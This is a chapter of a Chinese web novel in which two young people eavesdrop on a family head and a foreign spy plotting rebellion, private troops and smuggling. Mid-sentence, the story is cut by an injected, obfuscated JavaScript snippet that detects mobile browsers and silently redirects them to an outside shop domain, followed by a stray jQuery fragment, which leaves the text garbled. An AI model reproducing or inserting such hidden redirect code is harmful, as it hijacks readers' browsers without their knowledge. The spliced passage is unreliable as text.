李长乐小心翼翼地从房檐处滑下,好在现在周围无人,她们来到西侧窗户处很顺利。
仅能透过一点光线的窗户此刻晦暗不明,李长乐伸出手想戳个洞出来,方便她看看里面情况。
可惜,她还是低估了武家的财力,武家的窗户并不是用纸封层的,而是用了磨薄的贝壳片。
连宋延年都不禁感叹,他们还真是财大气粗啊。贝壳片每一片都要人工打磨就不说了,每片贝壳上都还刻有细密的花纹,不仔细瞧根本发现不了。
除了武家,大概也不会有哪一家能在此下这么多功夫了吧……
二人轻轻地推开窗,尽量不发出一点声音。大概扫了一眼屋内的构造后,迅速的跳了进去。
没办法,窗户不能开得太久,否则雨声陡然变大会让屋内的人瞬间起疑。
西侧的窗户对应的是一处隔间,周围摆满了架子,架子上则呈放着各种珍贵宝器和书籍。
李长乐和宋延年对这些东西一窍不通,但单凭感觉也能察觉得出这些物事价格不菲。
通往书房的宽阔出口被一处屏风挡着,二人并不敢上前细瞧,万一被照出了人影,那可就糟了。
她们挤在一处角落,四下环顾,看看有没有其他可以藏身的地方。
这个隔间除了架子就再无其他摆设,架子都紧贴着墙壁,没有任何可以躲藏的空间。只要武宗扬走进隔间,就能立刻发现二人。
可惜的是,隔间附近没有房梁之类的横木供她们躲藏,无奈之下,二人只能靠近屏风,竖起耳朵听武宗扬和那人的交谈声。
“我何曾吩咐过让那群学生死在地牢?”
说话的是武宗扬,语气隐忍,又夹杂着些许愤怒。
“他们的死只会给我们带来隐患,就算是死,也不能死在地牢。否则李牧然很容易借此由头查到我们的头上,这些话,我似乎很早就同你说过了。”
“家主不要过于妇人之仁,想要让剑南乱起来,本就需要死那么几个人,毕竟不见血便兴不起风浪。第一批闹事的学生死在狱中,不是正好顺了我们的意?剑南现在可是热闹得紧啊!”
那个细作的语气悠悠,似乎并不在意李牧然将学生接走会给他们造成多大的困扰,甚至还有闲心教育一下稍显年轻气盛的武宗扬。
“这群学生的事,你倒是不用太过担心。一群愚蠢且天真的傻子罢了,想要让其动乱,只需要稍稍挑拨。甚至都不必让他们成为我们的人,只要些许煽动,他们自己就会行动起来。于此,是生是死也都是他们自找的。就算那个李牧然怀疑,又与我们何干?”
武宗扬紧抿着双唇,没有立刻回应云放。这位来自北齐的细作显然拿他们上阳人的命不当回事,即使他也并不是很在乎那群学生的生死。但显然,云放也并没有将他们武家放在眼里。
武宗扬并没有选择让他难堪,这人是宁家派过来的,只通知他们听他的安排即可。若不是宁家担保,他们武家也不会贸然选择与云放合作。
风险太大了。
冷静了一瞬,武宗扬还是耐着性子与他道明了原委:
“李牧然查了学子身上的伤口,发现出了不对劲。”
“哦?”云放仿佛此时才真正的认真起来,表情终于有了一丝严肃。
“若单单是怀疑我们几个世家动的手,王奕枫不会特意来试探我。你的存在大概是暴露了。”
云放不做声,他立刻意识到了解三当初带着他去解家的情景。若是他有可能暴露,那无疑是在解家那晚出了岔子。
虽说宁家一开始是打算促成他和武家的合作,但按照他的想法来看,不能只和宁家绑死,万一之后出了问题,他还有回旋的余地。这才动了和解家合作的心思,奈何解三的说辞并没有说服任何人,无奈之下他也只能作罢,倒是没成想为自己埋下了隐患。
不过解家是怎么能通过一个照面就断定他的身份的呢?那个解三可一直在他的手里啊。
想了想现下的处境,云放仍然觉得不是特别紧急。
“那李牧然只带了几个亲兵随行,就算真出了什么问题,我在你们的掩护下,也可以随时逃离剑南。但若是我现在就离开,我们辛辛苦苦的布置可就白费了……”
说完,云放意味深长地看着武宗扬。杀了人,叛了国,和其他两家对立,他不相信武宗扬能接受耗费无数心血的计划最终成为竹篮打水。
显然,云放说到了关键,武宗扬也犹豫了。
云放见状,又状若无谓地补充了几句:
“你私制兵器已是事实,宁家早晚要反,你跟着宁家进军京府享受荣华富贵,掌握权力也是迟早的事,何惧那个劳甚子的将军?更何况我们的走私货物已经准备的差不多了,我现在突然撤出,这单大生意……你还做不做?”
“说的倒是容易!”武宗扬冷哼,他又怎么看不出来这云放是在激他?
“你一个人倒是可以随时撤离,我武家上上下下千余口,真要是出了意外,我们怎么躲?”
“躲?”云放嗤笑,很是狂妄。
“若是真到了那个时候,你还躲什么?”
话没说全,可是在场的几人全都明白,这云放是想要武家造反。
“皇子、世子、郡主还有个将军,可都在你的手里,真到了那个时候,你害怕手中没有砝码?”
“我拿什么反?”武宗扬恶狠狠地看着撺掇自己谋反的云放,眸色逐渐冰冷,想要将这狂妄之人拉下深渊。
云放站起了身,眼神微眯,似笑非笑地走近武宗扬,语气惊诧道:
“难道说,剑南郊外八里坡附近的私兵,不是你们武家的吗?”
此话一出,满座皆惊。
宋延年瞪大了双眼,透过屏风死死地盯着武宗扬,仿佛要将他杀穿千万遍。
武家居然私自练兵!这是真的打算要造反了,他现在除了气愤还有些许焦急,此事一定要禀告他爹。武家同宁家谋逆,企图造反,只要抓到那群私兵,证据就充足了。
想到这,他想拉着长乐立即离开,却发现长乐在一边塞着什么东西。
宋延年给了李长乐一个眼神,想知道她是不是发现了什么,可这个时候,武宗扬开口了。
“你什么时候知道的?”
“我总不能一点儿也不准备就来谈合作吧。”云放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924463|131064||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很是愉悦,武家的把柄有利于他拿捏武家,为他做事。他并不怕武宗扬为了灭口,而在这里做掉他。
他身边的人并没有同他一起来武家,也是为了防他们一手,只要这武宗扬动了杀心,那他的同伴就会立刻将此消息散布出去。
那时候,想杀武家的可不止一方。
显然,武宗扬也想到了。因此他按捺住心底的杀意,嘴角微微扬起,语气沉沉:
“云放先生果然够谨慎。不过就算如此,我们也不能不做充足的打算,武家不能盲目的去赌,不然我们折了,您也什么好处都拿不到,不是吗?”
“自然。”云放对武宗扬的服软并不意外。
“被李牧然注意到,并不能掉以轻心,安全起见,先生还是出去暂避一番比较稳妥。”
云放眉头微皱,武宗扬怎么已经妥协了还要让他离开剑南?
难不成他真有什么后手?他可不信这武宗扬是真的在担心武家,武宗扬的野心他可是清楚得很。
没有什么是他不敢赌的。
“先生放心,我们之间的合作照常。货物会正常走水路送往北齐,不会有任何闪失。先生只需要去隔壁县城住上几天便可,李牧然不会待太久。等他离开,剩下的计划,我们可以继续实施。”
“你如何保证李牧然不会待太久?”
“呵。”武宗扬笑了,眼神中有些许轻蔑。“事情提前处理结束,再找些别处的麻烦,让他不得不尽快回京府。毕竟京府势力更多,圣上可用之人太少,将军在外这么长时间,可是不行的。”
云放深深地看了武宗扬一眼,明白了他的意思。二人对视过后纷纷笑得开怀。
“既然如此,我便听你的安排,出去待上几天。”云放想了想,还是同意了武宗扬的意见。
李牧然既然查到了他的头上,他一直留在剑南很难保证不会落在李牧然的手中,还是先出去躲躲为妙。
更何况,剑南附近的县城未必没有可做的文章。
“对了,此番货物清单,还有几种木材没有配齐,魏家所控的栗泽县刚好盛产桑木。”
云放意味深长的瞧了眼武宗扬,不由得感叹道:“你还真是不浪费每一个机会啊,我就算出去躲避,也得创造些价值。”
“哪里的话。”武宗扬神色谦虚,站起了身。“我们可是合作关系,怎么会是利用您的价值呢?只是我武家人,很难在魏家的地盘放开手脚做事。”
云放并不理会他的一派胡言,而是开始思索起了后续的安排。
武宗扬走过云放的身边,朝着西侧的隔间走去。
“到了栗泽县,会有人接应你。我这儿有魏家木场的布局图和负责人员名单,准备万全我们才好生事。”
“你的安排永远周全,和你合作倒是省了我不少的事。”云放恭维了两句,二人目前并不能撕破脸,就算他想让剑南乱得更严重,也不能绕过武家,暗处使劲。
武宗扬一步一步地朝着隔间走去,躲在角落的宋延年和李长乐瞬间汗毛直竖。
眼看着武宗扬马上就要绕过屏风,二人的呼吸仿佛在此刻瞬间停滞了。
完了。